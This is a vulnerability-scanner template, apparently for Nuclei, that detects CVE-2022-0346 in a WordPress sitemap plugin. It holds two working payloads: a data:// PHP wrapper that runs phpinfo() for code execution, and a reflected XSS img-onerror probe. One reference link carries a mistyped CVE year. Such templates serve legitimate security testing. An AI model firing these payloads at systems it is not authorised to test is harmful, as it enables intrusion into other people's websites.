45 lines
1.5 KiB
YAML
45 lines
1.5 KiB
YAML
id: CVE-2022-0346
|
|
|
|
info:
|
|
name: Google XML Sitemap Generator < 2.0.4 - Reflected Cross-Site Scripting & RCE
|
|
author: Akincibor
|
|
severity: high
|
|
description: |
|
|
The plugin does not validate a parameter which can be set to an arbitrary value, thus causing XSS via error message or RCE if allow_url_include is turned on.
|
|
classification:
|
|
cve-id: CVE-2022-0346
|
|
reference:
|
|
- https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
|
|
- https://wordpress.org/plugins/www-xml-sitemap-generator-org/
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0346
|
|
metadata:
|
|
verified: true
|
|
tags: xss,wp,wordpress,wp-plugin,cve,cve2022
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
|
|
- '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
|
|
|
|
req-condition: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(body_1, 'PHP Extension') || contains(body_1, 'PHP Version')"
|
|
- "contains(body_2, '<img src onerror=alert(document.domain)>') || contains(body_2, 'Invalid Renderer type specified')"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- '>PHP Version <\/td><td class="v">([0-9.]+)'
|